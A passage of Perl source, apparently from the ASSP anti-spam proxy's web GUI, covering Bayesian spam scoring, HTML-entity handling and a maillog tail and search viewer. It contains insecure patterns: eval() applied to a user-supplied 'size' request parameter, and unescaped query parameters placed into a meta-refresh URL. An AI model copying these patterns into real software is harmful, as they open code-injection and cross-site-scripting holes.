    @t  = @t[ 0 .. 30 ];
    $st = "Totals: ";
    foreach (@t) { $st .= sprintf( "%.4f ", $_ ) if $_; }
    $st .= "\n";

    #my $p1=1; my $p2=1; foreach $p (@t) {if($p) {$p1*=$p; $p2*=(1-$p);}}
    #my $p1=1; my $p2=1; foreach $p (@t) {if($p) {$p1*=$p; $p2*=(1-$p)*2;}}

    my $p1 = 1;
    my $p2 = 1;
    foreach my $p (@t) {
        if ($p) { $p1 *= $p; $p2 *= ( 1 - $p ); }
    }
    $SpamProb = $p1 / ( $p1 + $p2 );
    $this->{spamconf} = abs( $p1 - $p2 );
    $st .= "\n\nSpam/Ham Probabilities:\n";
    $st .= "\n\nSpam Probability:\n" if !$baysConf;
    $st .= sprintf( " spamprobability: %.8f\n", $p1 ) if $baysConf;
    $st .= sprintf( " hamprobability: %.8f\n", $p2 ) if $baysConf;
    $st .= sprintf( " combined probability %.8f\n", $SpamProb ) if $baysConf;
    $st .= sprintf( " probability %.4f\n", $SpamProb ) if !$baysConf;
    $st .= sprintf( " bayesian confidence %.8f\n", $this->{spamconf} )
      if $baysConf;

    $st .= " \n";
    $this->{report} .= "$header$fm$ba$st$bod";
    $this->{report} =~ s{([\x7F-\xFF])}{sprintf("=%02X", ord($1))}eog;
    return $sub;
}

sub needEs {
    my ( $count, $text, $es ) = @_;
    return $count . $text . ( $count == 1 ? '' : $es );
}


sub encodeHTMLEntities {
 my $s=shift;
 $s=~s/\&/\&amp;/gso;
 $s=~s/\</\&lt;/gso;
 $s=~s/\>/\&gt;/gso;
 $s=~s/\"/\&quot;/gso;
 return $s;
}

sub decodeHTMLEntities {
 my $s=shift;
 $s=~s/\&quot;?/\"/giso;
 $s=~s/\&gt;?/\>/giso;
 $s=~s/\&lt;?/\</giso;
 $s=~s/\&amp;?/\&/giso;
 return $s;
}

sub encHTMLent {
    my $sh = shift;
    my $s = ref $sh ? $$sh : $sh;
    my $ret;
    eval{$ret = ($s ? &HTML::Entities::encode($s) : '');};
    if ($@) { # do what we can if HTML::Entities failes
         mlog(0,"warning: an error occured in encoding HTML-Entities - $@");
         $ret = encodeHTMLEntities($s);
    }
    return $ret ? $ret : $$s;
}

sub decHTMLent {
    my $sh = shift;
    my $s = ref $sh ? $$sh : $sh;
    my $ret;

    $s =~ s/(?:\&nbsp|[%=]a0);?/ /gosi;  # decode &nbsp; to space not to \160
    $s =~ s/(?:\&shy|[%=]ad);?/-/gosi;   # decode &shy; to '-' not to \173

    $s =~ s/\&\#(\d+);?/decHTMLentHD($1)/geo;
    $s =~ s/\&\#x([a-f0-9]+);?/decHTMLentHD($1,'h')/geio;
    $s =~ s/([^\\])?\\(\d{1,3});?/$1.decHTMLentHD($2,'o')/geio;
    $s =~ s/([^\\])?[%=]([a-f0-9]{2});?/$1.chr(hex($2))/gieo;

    local $@ = undef;
    eval{$ret = &HTML::Entities::decode($s);} if $s;
    if ($@) { # do what we can if HTML::Entities fails
         mlog(0,"warning: an error occured in decoding HTML-Entities - $@");
         $ret = decodeHTMLEntities($s);
    }
    return $ret ? $ret : $s;
}

sub decHTMLentHD {
    my ($s, $how) = @_;
    $s = hex($s) if $how eq 'h';
    $s = oct($s) if $how eq 'o';
    $s = chr($s);
    use bytes;
    $s =~ s/^(?:\xA1\x43|\xA1\x44|\xA1\x4F|\xE3\x80\x82|\xEF\xBC\x8E|\xEF\xB9\x92|\xDB\x94)$/./go;  #Big5 Chinese language character set (.)
    $s =~ s/^\xA0$/ /gosi;  # decode to space not to \160
    $s =~ s/^\xAD$/-/gosi;  # decode to '-' not to \173
    no bytes;
    return $s;
}

sub normHTML {
    my $s = shift;
    $s =~ s{([^a-zA-Z0-9])}{sprintf("%%%02X", ord($1))}eog;
    return $s;
}
sub ConfigMaillog {
 my $stime = time;
 my $maxsearchtime = time + 60;
 my $pat=$qs{search};
 my $matches=0;
 my $currWrap;
 alarm 0;
 if (exists $qs{wrap}) {
    $currWrap = $qs{wrap};
 
 } elsif ( ! $currWrap) {
 	$currWrap = 0 if !$MaillogTailWrap;
    $currWrap = 2 if $MaillogTailWrap;
 }

 $AdminUsersRight{"$WebIP{$ActWebSess}->{user}.user.wrap"} = $currWrap if $WebIP{$ActWebSess}->{user} ne 'root';
 &niceConfig();
 
 my $colorLines;
 $colorLines = 1 if $MaillogTailColorLine;
 if (exists $qs{color}) {
    $colorLines = $qs{color};

 } elsif ( ! $colorLines) {
    $colorLines = 0;
 }
 $colorLines = 1 unless $colorLines;
 $AdminUsersRight{"$WebIP{$ActWebSess}->{user}.user.color"} = $colorLines if $WebIP{$ActWebSess}->{user} ne 'root';

 my $order;
 if (exists $qs{order}) {
    $order = $qs{order};
 } elsif ($MaillogTailOrder) {
    $order = $MaillogTailOrder;
 } elsif ( ! $order) {
    $order = 0;
 }
 $order = 0 unless $order;
 $AdminUsersRight{"$WebIP{$ActWebSess}->{user}.user.order"} = $order if $WebIP{$ActWebSess}->{user} ne 'root';

 my $savTailByte = $MaillogTailBytes;
 my $currTailByte;
 ($currTailByte) = $1 if $qs{tailbyte}=~/(\d+)/;
 $currTailByte = $MaillogTailBytes if ($MaillogTailBytes>0 && (! $currTailByte || $currTailByte<160));
 $currTailByte = 2000 unless $currTailByte;
 $MaillogTailBytes = $currTailByte;
 $AdminUsersRight{"$WebIP{$ActWebSess}->{user}.user.TailByte"} = $currTailByte if $WebIP{$ActWebSess}->{user} ne 'root';



 my $orgpat = $pat;
 my $filesonly=$qs{filesonly};
 my $autoJS = '';
 my $autoButton = 'Auto';
 my $CMheaders = \$headers;
 my $content = 'class="content"';
 my $logstyle = '';
 my $display = '';
 $pat = $qs{search} = '' if $qs{autorefresh} eq 'Stop';
 if ($qs{autorefresh} eq 'Auto') {
     $pat = '';
     $qs{filesonly}= $filesonly = '';
     $qs{nohighlight} = 1;
     $autoButton = 'Stop';
     $CMheaders = '';
     $display = 'style="display:none"';
     $content = 'class="content" style="margin: 0 0 0 0;"';
     $logstyle = 'style="border-width: 4px 4px 4px 4px; border-color: #6699cc; border-style: solid;"';

     $autoJS = '
<script type="text/javascript">
 Timer=setTimeout("newTimer();",'. $refreshWait .'000);
 var Run = 1;
 function noop () {}
 function tStart () {
    Run = 1;
 }
 function tStop () {
    Run = 0;
    Timer=setTimeout("noop();", 1000);
 }
 function newTimer() {
   if (Run == 1) {location.reload(true)};
   Timer=setTimeout("newTimer();",'. $refreshWait .'000);
 }
</script>
';
  $CMheaders = "<html xmlns=\"http://www.w3.org/1999/xhtml\" xml:lang=\"en\" lang=\"en\">
<head>
  <meta http-equiv=\"content-type\" content=\"application/xhtml+xml; charset=utf-8\" />
  <meta http-equiv=\"refresh\" content=\"$refreshWait;url=/maillog?search=\&wrap=$qs{wrap}\&color=$colorLines\&autorefresh=Auto\&files=$qs{files}\&limit=$qs{limit}\&nohighlight=$qs{nohighlight}\&nocontext=$qs{nocontext}\&tailbyte=$qs{tailbyte}\&size=$qs{size}\&order=$qs{order}\" />
  <title>$currentPage ASSP ($myName) Host: $localhostname @ $localhostip</title>
  <link rel=\"stylesheet\" href=\"get?file=images/assp.css\" type=\"text/css\" />
  <link rel=\"shortcut icon\" href=\"get?file=images/favicon.ico\" />
$autoJS
</head>
<body onfocus=\"tStart();\" onblur=\"tStop();\"><a name=\"MlTop\"></a>
";
 }
 my $s='';
 my $res='';
 my $base = $base;
 $base =~ s/([^\\])\\([^\\])/$1\\\\$2/go;
 # calculate indent
 my $m = &timestring().' ';
 my $resetpat;
 my $reportExt = $maillogExt;
 if(!$pat && $filesonly) {
     $resetpat = 1;
     $pat = $maillogExt;
 }
 if(!$pat) {
  my $TailBytes = ($qs{autorefresh} eq 'Auto' && $MaillogTailBytes > 2000) ? 2000 : $MaillogTailBytes;
  if ($qs{autorefresh} eq 'Auto') {
      my $sl; $sl = $1 if $qs{search} =~ /(\d+)/o;
      $sl = $AdminUsersRight{"$WebIP{$ActWebSess}->{user}.user.autolines"} if $sl == '' && $WebIP{$ActWebSess}->{user} ne 'root';
      my $al = $sl ? 33 - $sl : $currWrap ? 10 : 0;
      $al = 0 if $al < 0;
      $al = 32 if $al > 32;
      $AdminUsersRight{"$WebIP{$ActWebSess}->{user}.user.autolines"} = $sl if $WebIP{$ActWebSess}->{user} ne 'root';
      for (my $i = $al; $i < 33; $i++) {
          $s .= $RealTimeLog[$i];
      }
  } else {
      open(my $CML,'<',"$base/$logfile");
      seek($CML,-$TailBytes,2) || seek($CML,0,0);
      local $/;
      $s=<$CML>;
      close $CML;
  }
  if ($s && $LogCharset && $LogCharset !~ /^utf-?8/io) {
      $s = Encode::decode($LogCharset, $s);
      $s = Encode::encode('UTF-8', $s);
  }
  $s=encodeHTMLEntities($s) if $s;
  $s=~s/([^\\])?\\([^\\])?/$1\\\\$2/gso;
   my @sary=map{$_."\n" if $_;} split(/\r?\n|\r/o,$s);
   shift @sary if ($qs{autorefresh} ne 'Auto');
   my @rary;
   $matches=0;
   while (@sary) {
    $_ = shift @sary;
    @sary = () if time > $maxsearchtime;
    s/\\x\{\d+\}//g;
    if ($qs{autorefresh} ne 'Auto') {
     if (/(.*)?($base\/(($spamlog|$discarded|$notspamlog|$incomingOkMail|$viruslog|$correctedspam|$correctednotspam|$resendmail)\/[^\s]+(?:$maillogExt|$reportExt)))(.*)/)
     {
         my $text = $1;
         my $file = $2;
         my $hfile = $3;
         my $dname = $4;
         my $text2 = $5;
         my $span = ($dname =~ /^(?:$spamlog|$discarded|$viruslog|$correctedspam)$/) ? 'negative' : 'positive';
         $span = 'spampassed' if /\[spam passed\]/gio;
         $span = 'spampassed' if /and passing/gio;
         $text =~ s/([^ ]+) +/<span style="white-space:nowrap;">$1<\/span> /go;
         $text2 =~ s/([^ ]+) +/<span style="white-space:nowrap;">$1<\/span> /go;
		 if (&MaillogExistFile($file)) {

			$hfile =~s/\Q$spamlog\E\//$maillogNewFile\// if $maillogNewFile;
			$span = ($maillogNewFile =~ /^(?:$spamlog|$discarded|$viruslog|$correctedspam)$/) ? 'negative' : 'positive' if $maillogNewFile;
			$hfile = "<span style=\"white-space:nowrap;\" onclick=\"popFileEditor('" . &normHTML($hfile) . "','m');\" class=\"" . $span . "\" onmouseover=\"fileBG=this.style.backgroundColor; this.style.backgroundColor='#BBBBFF';\" onmouseout=\"this.style.backgroundColor=fileBG;\"><b>" . $hfile . "<\/b><\/span>";
		 } else {
			$hfile =~ s/([^ ]+) +/<span style="white-space:nowrap;">$1<\/span> /go;
		 }
         $text .= $hfile . $text2;
         push(@rary,'<div id="ll' . $matches .'" class="assplogline'. ($currWrap + ($matches % 2 && $colorLines)) .'">' . $text . "\n</div>");
         $matches++;
         next;
     } elsif (! $filesonly) {
         my @links;
         my @addr;
         my @ips;
         $_ = niceLink($_);
         while ($_ =~ s/(\<a href.*?<\/a\>)/XXXIIIXXX/o) {
             my $link = $1;
             $link =~ s/WIDTH=[^\d]*(\d+\%)[^ ]*/WIDTH=$1/io;
             push @links,$link;
         }
         if (&canUserDo($WebIP{$ActWebSess}->{user},'action','addraction')) {
             while ($_ =~ s/((?<!Message-ID found: ))($EmailAdrRe\@$EmailDomainRe)/$1XXXAIIIDXXX/o) {
                 push @addr ,
                    "<span style=\"white-space:nowrap;\" onclick=\"popAddressAction('"
                    . &normHTML($2)
                    . "');\" class=\"menuLevel2\" onmouseover=\"fileBG=this.style.backgroundColor; this.style.backgroundColor='#BBBBFF';\" onmouseout=\"this.style.backgroundColor=fileBG;\"><b>"
                    . $2
                    . "<\/b><\/span>";
             }
         }
         if (&canUserDo($WebIP{$ActWebSess}->{user},'action','ipaction')) {
             while ($_ =~ s/($IPRe)([^:\d\/])/XXXiIIIpXXX$2/o) {
                 my  $ip = $1;
                 if (   $ip !~ /$IPprivate/o
                     && $ip ne $localhostip
                     && $ip ne $version
                     && $ip !~ /$LHNRE/)
                 {
                     push @ips,
                        "<span style=\"white-space:nowrap;\" onclick=\"popIPAction('"
                        . &normHTML($ip)
                        . "');\" class=\"menuLevel2\" onmouseover=\"fileBG=this.style.backgroundColor; this.style.backgroundColor='#BBBBFF';\" onmouseout=\"this.style.backgroundColor=fileBG;\"><b>"
                        . $ip
                        . "<\/b><\/span>";
                 } else {
                     push @ips, $ip;
                 }
             }
         }
         s/([^ ]+) +/<span style="white-space:nowrap;">$1<\/span> /go;
         if (@links) {
             s/XXXIIIXXX/shift(@links)/geo;
         }
         if (@addr) {
             s/XXXAIIIDXXX/shift(@addr)/geo;
         }
         if (@ips) {
             s/XXXiIIIpXXX/shift(@ips)/geo;
         }
     }
     if ($filesonly) {
         next;
     }
    }
    push(@rary,'<div id="ll' . $matches .'" class="assplogline'. ($currWrap + ($matches % 2 && $colorLines)) .'">' . $_ . "\n</div>");
    $matches++;
   }
   $s = join('',@rary);
   $s =~ s/"/\\"/go;
   $s =~ s/\n+<\/div>/<\/div>XXXIIIXXX/go;
   $s =~ s/\r|\n//go;
   $s =~ s/XXXIIIXXX$//o;
 } elsif ($CanSearchLogs) {
  my @sary;
  $matches=0;
  my $lines=0;
  my $files=0;
  my ($logdir, $logdirfile) = $logfile=~/^(.*[\/\\])?(.*?)$/o;
  my @logfiles1=reverse sort glob("$base/$logdir*$logdirfile");
  my @logfiles;
  while (@logfiles1) {
      my $k = shift @logfiles1;
      push(@logfiles, $k) if $k !~ /b$logdirfile/;
  }
  my $maxmatches =
                $qs{limit} eq '2000' ? 2000
              : $qs{limit} eq '1000' ? 1000
              : $qs{limit} eq '100'  ? 100
              : $qs{limit} eq '10'   ? 10
              : $qs{limit} eq '1'    ? 1
              :                        0;
  my $maxlines;
  my $maxfiles;
  if ($qs{files} eq 'lines') {
      ($maxlines) = $qs{size} =~ /(\d+)/o;
      $maxlines = 10000 unless $maxlines;
      $maxfiles = 0;
  } elsif ($qs{files} eq 'files') {
      ($maxfiles) = $qs{size} =~ /(\d+)/o;
      $maxfiles = 2 unless $maxfiles;
      $maxlines = 0;
  } elsif ($qs{files} eq 'ago') {
      $maxfiles = $qs{size};
      $maxfiles =~ s/\s//go;
      $maxfiles =~ s/-/.../go;
      my @num = sort {$main::a <=> $main::b} map(eval($_),split(',', $maxfiles));
      @num = (1) unless $maxfiles or @num;
      my @lof = @logfiles;
      @logfiles = ();
      foreach (@num) {
          push(@logfiles , $lof[$_ - 1]) if $_ > 0 && $lof[$_ - 1];
      }
      push(@logfiles,$lof[0]) unless @logfiles;
      $maxlines = 0;
  } else {
      $maxlines = 0;
      $maxfiles = 0;
  }
  my $logf=File::ReadBackwards->new(shift(@logfiles),'(?:\r?\n|\r)',1); # line terminator regex
  if ($logf) {
   $files++;

#   $pat = &encHTMLent(\$pat);
#   $pat = encodeHTMLEntities($pat);
#   $pat=~s/([^\\])?\\([^\\])?/$1\\\\$2/gso;
   # mormalize and strip redundand minuses
   $pat = &HTML::Entities::decode($pat,'"\'><&');
   $pat=~s/(?<!(?:-|\w))(-(?:\s+|\z))+/-/go;
   $pat=~s/\s+-$//o;
   my $l;
   $l=$logf->readline();
   if ($l && $LogCharset && $LogCharset !~ /^utf-?8/io) {
       $l = Encode::decode($LogCharset, $l);
       $l = Encode::encode('UTF-8', $l);
   }
   $l =~ s/\\x\{\d+\}//go;
   # make line terminators uniform
   $l=~s/(.*?)(?:\r?\n|\r)/$1\n/o;
   $l=encodeHTMLEntities($l) if $l;
   $l=~s/([^\\])?\\([^\\])?/$1\\\\$2/gso;
   my @ary;
   push(@ary,$l);
   my $infinity=10000;
   my $precontext=my $postcontext=$qs{nocontext} ? 0 : 6;
   my $notmatched=0;
   my $currentpre=0;
   my $seq=0;
   my $lastoutput=$infinity;
   my $cur=$ary[0];
   my $i=0;
   my @words=map/^\d+\_(.*)/o, sort values %{{map{lc $_ => sprintf("%02d",$i++).'_'.$_} split(' ',$pat)}};
   $pat=join(' ', @words);
   my @highlights=('<span%%20%%style="color:black;%%20%%background-color:#ffff66">',
                   '<span%%20%%style="color:black;%%20%%background-color:#A0FFFF">',
                   '<span%%20%%style="color:black;%%20%%background-color:#99ff99">',
                   '<span%%20%%style="color:black;%%20%%background-color:#ff9999">',
                   '<span%%20%%style="color:black;%%20%%background-color:#ff66ff">',
                   '<span%%20%%style="color:white;%%20%%background-color:#880000">',
                   '<span%%20%%style="color:white;%%20%%background-color:#00aa00">',
                   '<span%%20%%style="color:white;%%20%%background-color:#886800">',
                   '<span%%20%%style="color:white;%%20%%background-color:#004699">',
                   '<span%%20%%style="color:white;%%20%%background-color:#990099">');
   my $findExpr=join(' && ',((map{'$cur=~/'.quotemeta($_).'/io'} map/^([^-].*)/o, split(' ',$pat)),
                             (map{'$cur!~/'.quotemeta($_).'/io'} map/^-(.*)/o, split(' ',$pat))));
   my %replace = ();
   my $j=0;
   my $highlightExpr='=~s/(';
   foreach (map/^([^-].*)/o, split(' ',$pat)) {
    $replace{lc $_}=$highlights[$j % @highlights]; # pick highlight style
    $highlightExpr.=quotemeta($_).'|';
    $j++;
   }
   $highlightExpr=~s/\|$//o;
   $highlightExpr.=')/$replace{lc $1}$1<\/span>/gio';
   my $loop=<<'LOOP';
   while (time < $maxsearchtime && $cur && !($maxmatches && $matches>=$maxmatches && $notmatched>$postcontext) && !($maxlines && $lines>=$maxlines)) {
LOOP
    $loop.='
    if (!($maxmatches && $matches>=$maxmatches) && '.$findExpr.') {'. <<'LOOP';
     $matches++;
LOOP
     $loop.='$cur'.$highlightExpr.' unless $qs{nohighlight};'. <<'LOOP';
     if ($lastoutput<=$postcontext) {
      push(@sary,$cur);
     } else {
      push(@sary,"\r\n") if ($seq++ && ($precontext+$postcontext>0));
      for ($i=0; $i<@ary; $i++) {
       if ($i<$precontext && $currentpre==$precontext || $i<$currentpre) {
        $ary[$i]=~s/^(.*?)(\r?\n)$/<span\%\%20\%\%style="color:#999999">$1<\/span>$2/so;
       } else {
LOOP
        $loop.='$ary[$i]'.$highlightExpr.' unless $qs{nohighlight};'. <<'LOOP';
       }
       push(@sary,$ary[$i]);
      }
     }
     $lastoutput=0;
     $notmatched=0;
    } elsif ($logf->eof) {
     for (; $currentpre>=0; $currentpre--) {
      shift(@ary);
     }
     $logf->close if exists $logf->{'handle'};
     if (!($maxfiles && $files>=$maxfiles)) {
      $logf=File::ReadBackwards->new(shift(@logfiles),'(?:\r?\n|\r)',1);
      $files++ if $logf;
     }
     $lastoutput=$infinity;
    } elsif ($lastoutput<=$postcontext) {
     $cur=~s/^(.*?)(\r?\n)$/<span\%\%20\%\%style="color:#999999">$1<\/span>$2/so;
     push(@sary,$cur);
    }
    $lastoutput++;
    $notmatched++;
    if ($l) {
     $l=$logf->readline();
     if ($l && $LogCharset && $LogCharset !~ /^utf-?8/io) {
         $l = Encode::decode($LogCharset, $l);
         $l = Encode::encode('UTF-8', $l);
     }
     # make line terminators uniform
     $l=~s/(.*?)(?:\r?\n|\r)/$1\n/o;
     $l =~ s/\\x\{\d+\}//go;

     my $fname;
     if ($l=~ s/($base\/.+?\/.+?$maillogExt)/aAaAaAaAaAbBbBbBbBbB$maillogExt/) {
       $fname = $1;
     }

     $l=encodeHTMLEntities($l) if $l;
     $l=~s/([^\\])?\\([^\\])?/$1\\\\$2/gso;

     $l =~ s/aAaAaAaAaAbBbBbBbBbB$maillogExt/$fname/o;
     $fname = '';

     $lines++;
    }
    push(@ary,$l);
    if ($currentpre<$precontext) {
     $currentpre++;
    } else {
     shift(@ary);
    }
    $cur=$ary[$currentpre];
   }
LOOP
   eval $loop;
   $logf->close if exists $logf->{'handle'};
  }
  my $orgmatches = $matches;
  if ($matches>0) {
   $matches = 0;
   my @rary;
   my $line = $_;
   $maxsearchtime = time + 60;
   while (@sary) {
    $_ = shift @sary;
    @sary = () if time > $maxsearchtime;
    my @sp;
    my @words;
    my $pretag;
    my $posttag;
    $line = $_;
    if ($_ =~ /<\/span>/o ) {
     if (!$qs{nocontext} && $_ =~ s/^(<span\%\%20\%\%style="color:#999999">)//o) {
        $pretag = $1;
        $posttag = $1 if ($_ =~ s/(<\/span>[\r\n]*)$//o);
     }
     if ($_ =~ /<\/span>/o ) {
      my $iline = '';
      @words = split(/(<span[^>]+>|<\/span>)/o);
      my $i = 0;
      while (@words) {
        $sp[$i][0] = shift @words;
        $sp[$i][1] = shift @words;
        $sp[$i][2] = shift @words;
        $sp[$i][3] = shift @words;
        $iline .=  $sp[$i][0] . $sp[$i][2];
        $i++;
      }
      if ($iline =~ /$base\/(?:$spamlog|$discarded|$notspamlog|$incomingOkMail|$viruslog|$correctedspam|$correctednotspam|$resendmail)\/[^\s]+(?:$maillogExt|$reportExt)/) {
          $line = $iline ;
      } else {
         @sp = ();
      }
     }
    }
    $_ = $line;
    if (/^(<[^<>]+>)*(.*)?($base\/(($spamlog|$discarded|$notspamlog|$incomingOkMail|$viruslog|$correctedspam|$correctednotspam|$resendmail)\/[^\s]+(?:$maillogExt|$reportExt)))(.*)$/)
    {
        my $sp = $1;
        my $text = $2;
        my $file = my $hfile = $3;
        my $hlfile = $4;
        my $dname = $5;
        my $text2 = $6;
        my $span = ($dname =~ /^(?:$spamlog|$discarded|$viruslog|$correctedspam)$/) ? 'negative' : 'positive';
        $span = 'spampassed' if /\[spam passed\]/gio;
        $span = 'spampassed' if /and passing/gio;

        if (@sp) {
            my $i = 0;
            my $j = scalar @sp;
            my $fpos = 0;
            my $tpos = 0;
            my $t2pos = 0;
            while ($j > $i) {
              my ($s0,$s1,$s2,$s3) = ($sp[$i][0],$sp[$i][1],$sp[$i][2],$sp[$i][3]);
              if ($s1) {
                  pos($text) = $tpos;
                  $text =~ s/\Q$s0$s2\E/$s0$s1$s2$s3/;
                  $tpos = pos($text);
                  if ($tpos) {
                      $tpos += length($s1 . $s3);
                  } else {
                      $tpos = 0;
                  }

                  pos($text2) = $t2pos;
                  $text2 =~ s/\Q$s0$s2\E/$s0$s1$s2$s3/;
                  $t2pos = pos($text2);
                  if ($t2pos) {
                      $t2pos += length($s1 . $s3);
                  } else {
                      $t2pos = 0;
                  }

                  pos($hfile) = $fpos;
                  $hfile =~ s/\Q$s0$s2\E/$s0$s1$s2$s3/;
                  $fpos = pos($hfile);
                  if ($fpos) {
                      $fpos += length($s1 . $s3);
                  } else {
                      $fpos = 0;
                  }
              }
              $i++;
            }
        }
        $hfile =~ s/\Q$base\E\///o;

        if (&MaillogExistFile($file)) {
        	$hlfile =~s/\Q$spamlog\E\//$maillogNewFile\// if $maillogNewFile;
        	$hfile =~s/\Q$spamlog\E\//$maillogNewFile\// if $maillogNewFile;
        	$span = 'positive' if $maillogNewFile eq $correctednotspam;
          	$hfile = "<span\%\%20\%\%style=\"white-space:nowrap;\"\%\%20\%\%onclick=\"popFileEditor('" . &normHTML($hlfile) . "','m');\"\%\%20\%\%class=\"" . $span . "\"\%\%20\%\%onmouseover=\"fileBG=this.style.backgroundColor;\%\%20\%\%this.style.backgroundColor='#BBBBFF';\"\%\%20\%\%onmouseout=\"this.style.backgroundColor=fileBG;\"><b>" . $hfile . "<\/b><\/span>";
        } else {
          $hfile =~ s/([^ ]+)( +)?/<span style="white-space:nowrap;">$1<\/span>$2/go;
        }
        
        $text = $sp . $text .$hfile . $text2;
        my $out = '<div%%20%%id="ll' . $matches .'"%%20%%class="assplogline'. ($currWrap + ($matches % 2 && $colorLines)) .'">' . $text . "\n</div>";
        $out =~ s/\%\%20\%\%/ /go;
        push(@rary,$pretag . $out . $posttag);
        $matches++;
        next;
    } elsif (! $filesonly) {
        s/\%\%20\%\%/ /go;
        $_ = niceLink($_);
        my @links;
        my @addr;
        my @ips;
        while ($_ =~ s/(\<a href.*?<\/a\>)/XXXIIIXXX/o) {
            my $link = $1;
            $link =~ s/WIDTH=[^\d]*(\d+\%)[^ ]*/WIDTH=$1/io;
            push @links,$link;
        }
        if (&canUserDo($WebIP{$ActWebSess}->{user},'action','addraction')) {
            while ($_ =~ s/((?<!Message-ID found: ))($EmailAdrRe\@$EmailDomainRe)/$1XXXAIIIDXXX/o) {
                push @addr ,
                   "<span style=\"white-space:nowrap;\" onclick=\"popAddressAction('"
                   . &normHTML($2)
                   . "');\" class=\"menuLevel2\" onmouseover=\"fileBG=this.style.backgroundColor; this.style.backgroundColor='#BBBBFF';\" onmouseout=\"this.style.backgroundColor=fileBG;\"><b>"
                   . $2
                   . "<\/b><\/span>";
            }
        }
        if (&canUserDo($WebIP{$ActWebSess}->{user},'action','ipaction')) {
            while ($_ =~ s/($IPRe)([^:\d\/])/XXXiIIIpXXX$2/o) {
                my  $ip = $1;
                if (   $ip !~ /$IPprivate/o
                    && $ip ne $localhostip
                    && $ip ne $version
                    && $ip !~ /$LHNRE/)
                {
                    push @ips,
                       "<span style=\"white-space:nowrap;\" onclick=\"popIPAction('"
                       . &normHTML($ip)
                       . "');\" class=\"menuLevel2\" onmouseover=\"fileBG=this.style.backgroundColor; this.style.backgroundColor='#BBBBFF';\" onmouseout=\"this.style.backgroundColor=fileBG;\"><b>"
                       . $ip
                       . "<\/b><\/span>";
                } else {
                    push @ips, $ip;
                }
            }
        }
        if (@links) {
            s/XXXIIIXXX/shift(@links)/geo;
        }
        if (@addr) {
            s/XXXAIIIDXXX/shift(@addr)/geo;
        }
        if (@ips) {
            s/XXXiIIIpXXX/shift(@ips)/geo;
        }
    }
    if ($filesonly) {
        next;
    }
    my $out =  '<div id="ll' . $matches .'" class="assplogline'. ($currWrap + ($matches % 2 && $colorLines)) .'">' . $_ . "\n</div>";
    push(@rary, $pretag . $out . $posttag);
    $matches++;
   }
   $s = join('', reverse @rary);
   $s =~ s/"/\\"/go;
   $s =~ s/\n+<\/div>/<\/div>XXXIIIXXX/go;
   $s =~ s/\r|\n//go;
   $s =~ s/XXXIIIXXX$//o;
   my $ftext = $filesonly ? ' with ' . needEs($matches,' line','s') . ' that contains filesnames' : '';
   $res='found '. needEs($orgmatches,' matching line','s') . $ftext . ', searched in '. needEs($files,' log file','s') .' ('. needEs($lines,' line','s'). ')';
  } else {
   $res='no results found, searched in '. needEs($files,' log file','s') .' ('. needEs($lines,' line','s'). ')';
  }
 } else {
  $s='<p class="warning">Please install required module <a href="http://search.cpan.org/~uri/File-ReadBackwards-1.03/" rel="external">File::ReadBackwards</a>.</p>';
 }
 $MaillogTailBytes = $savTailByte;
 my $size = $qs{size} ? $qs{size} : 10000;
 my $files = $qs{files} || 'lines';
 my $limit = $qs{limit} || 10;
 $pat = ($resetpat) ? '' : &HTML::Entities::encode($orgpat,'"\'><&');
 my $h1 = $WebIP{$ActWebSess}->{lng}->{'msg500050'} || $lngmsg{'msg500050'};
 my $h2 = $WebIP{$ActWebSess}->{lng}->{'msg500051'} || $lngmsg{'msg500051'};
 my $h4 = $WebIP{$ActWebSess}->{lng}->{'msg500052'} || $lngmsg{'msg500052'};
 my $h5 = $WebIP{$ActWebSess}->{lng}->{'msg500053'} || $lngmsg{'msg500053'};
 $h1 =~ s/\r|\n//go;
 $h2 =~ s/\r|\n//go;
 $h4 =~ s/\r|\n//go;
 $h5 =~ s/\r|\n//go;

 my $dir = $base;
 $dir .= "/$1" if $logfile =~ /^([^\/]+)\//o;
 my ($lf) = $logfile =~/([^\/]+)$/o;
 my $h3 = '<center><table BORDER CELLSPACING=2 CELLPADDING=4><tr><th></th><th>filename</th><th>size</th><th></th><th>filename</th><th>size</th></tr>';
 $h3 .= '<tr><td>01</td><td>' . $lf . '</td><td>' . formatDataSize( -s "$dir/$lf", 1 ) . '</td></tr>';
 opendir(my $DIR,"$dir");
 my @filelist = readdir($DIR);
 close $DIR;
 my $i = 0;
 foreach my $file (reverse sort @filelist) {
     next if $file !~ /\.$lf$/;
     $h3 .= '<tr>' unless $i % 2;
     $h3 .= '<td>' . sprintf("%02d",($i + 2)) . '</td><td>' . $file . '</td><td>' . formatDataSize( -s "$dir/$file", 1 ) . '</td>';
     $h3 .= '</tr>' if $i % 2;
     $i++;
 }
 $h3 .= '</tr>' if $h3 !~ /tr\>$/;
 $h3 .= '</table></center>';
 $stime = time - $stime;
 $res .= ', ' if ($res &&  $qs{autorefresh} ne 'Auto');
 $res .= "searchtime $stime seconds (max 60)" if ($qs{autorefresh} ne 'Auto');
 my $headline = ($qs{autorefresh} eq 'Auto') ? '' : '<h2>ASSP Maillog Tail</h2>' ;
 $headline = ($qs{autorefresh} eq 'Auto') ? '' : '<h2>Secondary GUI Maillog Tail  Viewer</h2>' if $AsASecondary;

<<EOT;
$headerHTTP
$headerDTDTransitional
$$CMheaders
<style type="text/css">
.spampassed { color: #FFA500; }
</style>
<div id="headline" $content>
$headline
<a name="MlTop" style="font-weight: normal;"></a>
<div class="log" ><pre><a id="dummy" name="dummy" style="font-weight: normal;">$m</a></pre></div>
<script type="text/javascript">
var fileBG;
var MlEndPos;

var intend = document.getElementById('dummy').offsetWidth;
document.getElementById('dummy').style.display='none';

document.write("<style id=\\"aloli0\\" type=\\"text/css\\">\\n.assplogline0\\n {\\nwhite-space:nowrap;\\n padding-left:" + intend + "px;\\n text-indent:-" + intend + "px;\\n background-color:#FFFFFF;\\n}\\n</style>\\n");
document.write("<style id=\\"aloli1\\" type=\\"text/css\\">\\n.assplogline1\\n {\\nwhite-space:nowrap;\\n padding-left:" + intend + "px;\\n text-indent:-" + intend + "px;\\n background-color:#F0F0F0;\\n}\\n</style>\\n");
document.write("<style id=\\"aloli2\\" type=\\"text/css\\">\\n.assplogline2\\n {\\nwhite-space:normal;\\n padding-left:" + intend + "px;\\n text-indent:-" + intend + "px;\\n background-color:#FFFFFF;\\n}\\n</style>\\n");
document.write("<style id=\\"aloli3\\" type=\\"text/css\\">\\n.assplogline3\\n {\\nwhite-space:normal;\\n padding-left:" + intend + "px;\\n text-indent:-" + intend + "px;\\n background-color:#F0F0F0;\\n}\\n</style>\\n");

function changeSpan(change) {
